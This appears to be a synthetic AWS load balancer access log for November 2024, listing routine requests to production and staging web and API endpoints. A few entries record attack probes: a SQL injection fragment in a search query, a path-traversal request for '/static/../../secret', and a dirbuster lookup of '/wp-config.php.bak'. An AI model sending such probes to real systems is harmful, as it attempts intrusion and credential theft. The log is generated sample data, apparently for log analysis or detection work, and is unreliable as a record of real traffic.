142.148.178.160:48409 10.0.79.226:443 0.049068 0.224402 0.000614 301 301 37 12587 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c92d-71e1bfe5eba846d1a65484c2" "prod-web-alb.example.com" "-" 8 2024-11-01T01:15:09.484148Z "forward" "-" "-" "10.0.79.226:443" "301" "-" "-" -http 2024-11-01T01:15:10.091805Z staging-alb 61.231.29.5:16372 130.26.28.216:80 0.056889 0.717047 0.042863 302 302 583 8218 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c92e-4bf8ff3a13fe4d01b3c2dfc3" "staging-alb.example.com" "-" 4 2024-11-01T01:15:10.091805Z "forward" "-" "-" "130.26.28.216:80" "302" "-" "-" -https 2024-11-01T01:15:11.132569Z staging-alb 19.59.2.15:36704 153.31.111.11:443 0.057328 0.311793 0.092882 200 200 264 12651 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c92f-e58bd78bb51240779e538127" "-" "-" 8 2024-11-01T01:15:11.132569Z "forward" "-" "-" "153.31.111.11:443" "200" "-" "-" -https 2024-11-01T01:15:11.426584Z prod-api-alb 148.199.54.133:59219 10.0.165.78:443 0.085362 0.369871 0.040889 200 200 138 9760 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c92f-88f5732a10a34e4cbe4b25f8" "prod-api-alb.example.com" "-" 9 2024-11-01T01:15:11.426584Z "forward" "-" "-" "10.0.165.78:443" "200" "-" "-" -https 2024-11-01T01:15:12.225640Z prod-api-alb 30.230.89.201:62721 10.0.24.193:443 0.036318 0.471009 0.093124 200 200 171 601 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c930-f9d5ae87876b4a43a483cc71" "prod-api-alb.example.com" "-" 1 2024-11-01T01:15:12.225640Z "forward" "-" "-" "10.0.24.193:443" "200" "-" "-" -https 2024-11-01T01:15:12.597795Z prod-api-alb 64.198.136.77:10908 10.0.146.186:443 0.053322 0.311811 0.034185 302 302 5 7931 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c930-59385755704543a7a2b48286" "prod-api-alb.example.com" "-" 3 2024-11-01T01:15:12.597795Z "forward" "-" "-" "10.0.146.186:443" "302" "-" "-" -https 2024-11-01T01:15:14.564256Z staging-alb 140.175.128.118:14993 12.216.143.61:8080 0.050019 0.535557 0.072127 404 404 380 9615 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c932-16234c872b6d468ea75604e9" "staging-alb.example.com" "-" 3 2024-11-01T01:15:14.564256Z "forward" "-" "-" "12.216.143.61:8080" "404" "-" "-" -https 2024-11-01T01:15:15.452479Z prod-web-alb 185.181.21.23:26320 10.0.90.209:443 0.078751 0.310887 0.079452 500 500 427 1165 "POST /search?q=1' UNION SELECT HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c933-2922b4840f2d414e9401d939" "-" "-" 7 2024-11-01T01:15:15.452479Z "forward" "-" "-" "10.0.90.209:443" "500" "-" "-" -http 2024-11-01T01:15:15.742535Z staging-alb 78.149.120.192:40237 111.17.75.218:80 0.097371 0.202513 0.136699 200 200 336 10389 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c933-fea5364e43d642a3b8801de0" "staging-alb.example.com" "-" 1 2024-11-01T01:15:15.742535Z "forward" "-" "-" "111.17.75.218:80" "200" "-" "-" -http 2024-11-01T01:15:17.634730Z staging-alb 122.95.58.176:29944 166.11.136.13:443 0.127444 0.220780 0.148138 200 200 336 2174 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c935-43fde0cfbdbf483f9fdc6864" "staging-alb.example.com" "-" 7 2024-11-01T01:15:17.634730Z "forward" "-" "-" "166.11.136.13:443" "200" "-" "-" -http 2024-11-01T01:15:18.139717Z staging-alb 63.70.229.105:32682 249.110.26.32:443 0.109088 0.281590 0.115754 301 301 480 5406 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c936-e884e08a43c845e4864dd499" "staging-alb.example.com" "-" 0 2024-11-01T01:15:18.139717Z "forward" "-" "-" "249.110.26.32:443" "301" "-" "-" -http 2024-11-01T01:15:18.676933Z staging-alb 179.3.178.23:27468 128.75.45.107:80 0.001626 0.122950 0.128623 200 200 938 6286 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c936-4b0cb47a7ab648d29a72c6a7" "-" "-" 8 2024-11-01T01:15:18.676933Z "forward" "-" "-" "128.75.45.107:80" "200" "-" "-" -http 2024-11-01T01:15:18.939074Z staging-alb 13.252.22.24:49438 145.0.9.18:443 0.079584 0.610925 0.146945 200 200 382 11519 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c936-308a57965b9046dba9d85124" "staging-alb.example.com" "-" 8 2024-11-01T01:15:18.939074Z "forward" "-" "-" "145.0.9.18:443" "200" "-" "-" -https 2024-11-01T01:15:19.346346Z prod-api-alb 33.97.212.26:19111 10.0.246.125:443 0.035879 0.472624 0.038051 200 200 126 12551 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c937-0c92396c348a45a0801a774c" "prod-api-alb.example.com" "-" 10 2024-11-01T01:15:19.346346Z "forward" "-" "-" "10.0.246.125:443" "200" "-" "-" -https 2024-11-01T01:15:20.341229Z prod-api-alb 109.140.194.122:20742 10.0.6.123:443 0.038558 0.054624 0.044955 200 200 836 3832 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c938-91833edaaa8148faa67411ac" "prod-api-alb.example.com" "-" 10 2024-11-01T01:15:20.341229Z "forward" "-" "-" "10.0.6.123:443" "200" "-" "-" -https 2024-11-01T01:15:21.698935Z prod-api-alb 51.107.85.133:61465 10.0.11.196:443 0.050928 0.344724 0.049477 302 302 564 705 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c939-86d3e467f014408b9a855ea4" "prod-api-alb.example.com" "-" 7 2024-11-01T01:15:21.698935Z "forward" "-" "-" "10.0.11.196:443" "302" "-" "-" -https 2024-11-01T01:15:22.864605Z prod-api-alb 185.229.26.27:25824 10.0.239.78:443 0.076390 0.282156 0.085971 404 404 641 5621 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c93a-edb4ac9fa2104e7ba3278761" "prod-api-alb.example.com" "-" 7 2024-11-01T01:15:22.864605Z "forward" "-" "-" "10.0.239.78:443" "404" "-" "-" -https 2024-11-01T01:15:24.301998Z prod-web-alb 105.168.250.33:47718 10.0.116.76:443 0.097331 0.028315 0.093463 404 404 766 1483 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c93c-06b60e755c694799862a82aa" "prod-web-alb.example.com" "-" 6 2024-11-01T01:15:24.301998Z "forward" "-" "-" "10.0.116.76:443" "404" "-" "-" -http 2024-11-01T01:15:25.580333Z staging-alb 124.208.28.225:37594 113.198.138.110:8080 0.136446 0.194101 0.121511 302 302 297 11412 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c93d-abb7806552734ed8a31f1f47" "staging-alb.example.com" "-" 3 2024-11-01T01:15:25.580333Z "forward" "-" "-" "113.198.138.110:8080" "302" "-" "-" -http 2024-11-01T01:15:26.605467Z staging-alb 169.40.195.183:59958 89.220.77.42:80 0.115847 0.039642 0.015624 301 301 166 2337 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c93e-69e9e51fca804e01bf5ff408" "staging-alb.example.com" "-" 2 2024-11-01T01:15:26.605467Z "forward" "-" "-" "89.220.77.42:80" "301" "-" "-" -https 2024-11-01T01:15:28.564064Z prod-web-alb 21.228.126.201:38583 10.0.71.166:443 0.044840 0.111412 0.039244 200 200 479 11108 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c940-1b958d1873024d4685c1523f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:15:28.564064Z "forward" "-" "-" "10.0.71.166:443" "200" "-" "-" -https 2024-11-01T01:15:28.964804Z prod-api-alb 207.205.11.220:28033 10.0.70.36:443 0.076790 0.194865 0.049451 301 301 761 7829 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c940-205ab1e57816498781fd6d48" "prod-api-alb.example.com" "-" 9 2024-11-01T01:15:28.964804Z "forward" "-" "-" "10.0.70.36:443" "301" "-" "-" -https 2024-11-01T01:15:29.351365Z prod-web-alb 233.39.2.29:64582 10.0.188.89:443 0.012965 0.405371 0.029455 200 200 386 5319 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c941-5545da9c909142d08c78a090" "prod-web-alb.example.com" "-" 8 2024-11-01T01:15:29.351365Z "forward" "-" "-" "10.0.188.89:443" "200" "-" "-" -https 2024-11-01T01:15:29.971882Z staging-alb 66.0.219.114:11509 14.225.177.100:80 0.114388 0.371299 0.021313 200 200 493 11916 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c941-0846c4e964784b09947aee75" "staging-alb.example.com" "-" 5 2024-11-01T01:15:29.971882Z "forward" "-" "-" "14.225.177.100:80" "200" "-" "-" -https 2024-11-01T01:15:31.465599Z prod-web-alb 175.55.61.125:49229 10.0.7.57:443 0.020776 0.221224 0.049016 302 302 397 14041 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c943-66dd253aa96b46e3940d621e" "prod-web-alb.example.com" "-" 2 2024-11-01T01:15:31.465599Z "forward" "-" "-" "10.0.7.57:443" "302" "-" "-" -https 2024-11-01T01:15:33.261762Z staging-alb 111.139.48.220:58592 138.117.30.243:80 0.006871 0.369338 0.112402 302 302 185 11859 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c945-f91d5014fce148a5b50a4026" "staging-alb.example.com" "-" 9 2024-11-01T01:15:33.261762Z "forward" "-" "-" "138.117.30.243:80" "302" "-" "-" -https 2024-11-01T01:15:34.334732Z prod-web-alb 23.162.73.32:59283 10.0.72.184:443 0.057677 0.161377 0.032819 301 301 54 7523 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c946-57f3f08337ea4d2699db2ee9" "prod-web-alb.example.com" "-" 0 2024-11-01T01:15:34.334732Z "forward" "-" "-" "10.0.72.184:443" "301" "-" "-" -https 2024-11-01T01:15:35.998229Z prod-api-alb 133.114.1.87:27879 10.0.149.126:443 0.099361 0.336610 0.052923 200 200 595 3693 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c947-21cc86f73c434134bbb7ddcc" "prod-api-alb.example.com" "-" 6 2024-11-01T01:15:35.998229Z "forward" "-" "-" "10.0.149.126:443" "200" "-" "-" -https 2024-11-01T01:15:36.680850Z staging-alb 125.105.25.21:15074 36.148.8.122:80 0.063016 0.271286 0.012571 301 301 608 14206 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c948-72f773ec6015434ca6dc9c2e" "staging-alb.example.com" "-" 9 2024-11-01T01:15:36.680850Z "forward" "-" "-" "36.148.8.122:80" "301" "-" "-" -https 2024-11-01T01:15:38.331005Z prod-web-alb 27.18.24.46:27966 10.0.153.72:443 0.097932 0.499212 0.049491 200 200 325 14208 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c94a-7bab3add82e14e538ea0c0ed" "prod-web-alb.example.com" "-" 7 2024-11-01T01:15:38.331005Z "forward" "-" "-" "10.0.153.72:443" "200" "-" "-" -http 2024-11-01T01:15:39.747612Z staging-alb 41.57.181.160:33513 70.27.143.226:8080 0.071380 0.310420 0.018541 200 200 45 6998 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c94b-8da939cfd5004872b85f291d" "staging-alb.example.com" "-" 10 2024-11-01T01:15:39.747612Z "forward" "-" "-" "70.27.143.226:8080" "200" "-" "-" -https 2024-11-01T01:15:40.657779Z prod-web-alb 212.189.15.137:46897 10.0.250.237:443 0.025193 0.119470 0.033485 302 302 506 7948 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c94c-036f79528b8e4b2ca1191ccc" "prod-web-alb.example.com" "-" 6 2024-11-01T01:15:40.657779Z "forward" "-" "-" "10.0.250.237:443" "302" "-" "-" -https 2024-11-01T01:15:40.795586Z prod-api-alb 184.73.147.33:39589 10.0.196.149:443 0.000084 0.419941 0.046695 301 301 899 11961 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c94c-910b070e27bc4aa7b85f6b7d" "prod-api-alb.example.com" "-" 7 2024-11-01T01:15:40.795586Z "forward" "-" "-" "10.0.196.149:443" "301" "-" "-" -https 2024-11-01T01:15:41.112151Z prod-web-alb 121.219.139.231:11167 10.0.106.89:443 0.022349 0.151842 0.071943 200 200 287 14756 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c94d-e2869c7510494be484bac854" "prod-web-alb.example.com" "-" 10 2024-11-01T01:15:41.112151Z "forward" "-" "-" "10.0.106.89:443" "200" "-" "-" -https 2024-11-01T01:15:42.192438Z staging-alb 12.248.29.42:41611 43.225.245.132:443 0.131170 0.532134 0.079540 200 200 437 2941 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c94e-50e06971eaa64871b9d30ee9" "staging-alb.example.com" "-" 3 2024-11-01T01:15:42.192438Z "forward" "-" "-" "43.225.245.132:443" "200" "-" "-" -https 2024-11-01T01:15:43.618060Z prod-api-alb 6.145.216.141:54287 10.0.137.181:443 0.041796 0.431702 0.079567 200 200 764 2523 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c94f-b58b315c01354b1cb033127c" "prod-api-alb.example.com" "-" 9 2024-11-01T01:15:43.618060Z "forward" "-" "-" "10.0.137.181:443" "200" "-" "-" -https 2024-11-01T01:15:45.040538Z prod-api-alb 210.202.83.173:53886 10.0.103.160:443 0.003291 0.166447 0.059759 200 200 381 12554 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c951-ed8707f7ad0d482c9b2ab846" "prod-api-alb.example.com" "-" 2 2024-11-01T01:15:45.040538Z "forward" "-" "-" "10.0.103.160:443" "200" "-" "-" -https 2024-11-01T01:15:45.371868Z prod-api-alb 193.27.228.240:22958 10.0.240.199:443 0.041643 0.011091 0.044805 404 404 509 1015 "GET /static/../../secret HTTP/1.1" "zgrab/0.x" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c951-84375068572d48deb561abff" "-" "-" 2 2024-11-01T01:15:45.371868Z "forward" "-" "-" "10.0.240.199:443" "404" "-" "-" -https 2024-11-01T01:15:47.086930Z staging-alb 94.171.78.30:42273 65.187.56.204:443 0.033774 0.154818 0.123585 200 200 785 1907 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c953-49256371021445c0a4d8b8dc" "staging-alb.example.com" "-" 4 2024-11-01T01:15:47.086930Z "forward" "-" "-" "65.187.56.204:443" "200" "-" "-" -https 2024-11-01T01:15:48.442487Z prod-api-alb 212.64.89.140:21638 10.0.125.31:443 0.003800 0.244671 0.056156 200 200 861 11701 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c954-d20126154e6c4972986236be" "prod-api-alb.example.com" "-" 6 2024-11-01T01:15:48.442487Z "forward" "-" "-" "10.0.125.31:443" "200" "-" "-" -http 2024-11-01T01:15:48.568211Z staging-alb 135.55.33.105:24068 240.98.133.40:443 0.002146 0.239980 0.144888 404 404 843 235 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c954-71bb2355c0e0444a9f39481a" "staging-alb.example.com" "-" 8 2024-11-01T01:15:48.568211Z "forward" "-" "-" "240.98.133.40:443" "404" "-" "-" -https 2024-11-01T01:15:50.443877Z prod-web-alb 166.185.99.48:39887 10.0.42.166:443 0.096011 0.323052 0.025133 404 404 294 6033 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c956-fbf48a832dd046c4bd436ad5" "prod-web-alb.example.com" "-" 2 2024-11-01T01:15:50.443877Z "forward" "-" "-" "10.0.42.166:443" "404" "-" "-" -https 2024-11-01T01:15:50.616575Z staging-alb 223.118.167.70:50415 165.189.233.160:80 0.021260 0.723950 0.095900 302 302 407 3680 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c956-80b72b8968604b79af63292e" "staging-alb.example.com" "-" 1 2024-11-01T01:15:50.616575Z "forward" "-" "-" "165.189.233.160:80" "302" "-" "-" -http 2024-11-01T01:15:51.871873Z staging-alb 185.181.110.51:11485 110.15.144.212:80 0.003834 0.136255 0.013937 302 302 51 6634 "POST /wp-config.php.bak HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c957-6b8f7a9d3ff04fe7bd35c687" "-" "-" 9 2024-11-01T01:15:51.871873Z "forward" "-" "-" "110.15.144.212:80" "302" "-" "-" -https 2024-11-01T01:15:53.199065Z prod-web-alb 100.189.240.49:23126 10.0.71.90:443 0.090604 0.497230 0.007750 404 404 772 10190 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c959-a3b5c630b6254832b8e1c93b" "prod-web-alb.example.com" "-" 7 2024-11-01T01:15:53.199065Z "forward" "-" "-" "10.0.71.90:443" "404" "-" "-" -http 2024-11-01T01:15:54.217526Z staging-alb 61.119.23.101:55203 132.215.172.243:80 0.074654 0.447749 0.026031 200 200 7 2954 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c95a-39e84212de4346b6938944ab" "staging-alb.example.com" "-" 0 2024-11-01T01:15:54.217526Z "forward" "-" "-" "132.215.172.243:80" "200" "-" "-" -http 2024-11-01T01:15:54.723168Z staging-alb 23.83.176.235:34377 220.7.144.104:443 0.058752 0.570626 0.037649 404 404 856 13665 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c95a-1749ecc8ec2c4dae9d0a35eb" "staging-alb.example.com" "-" 8 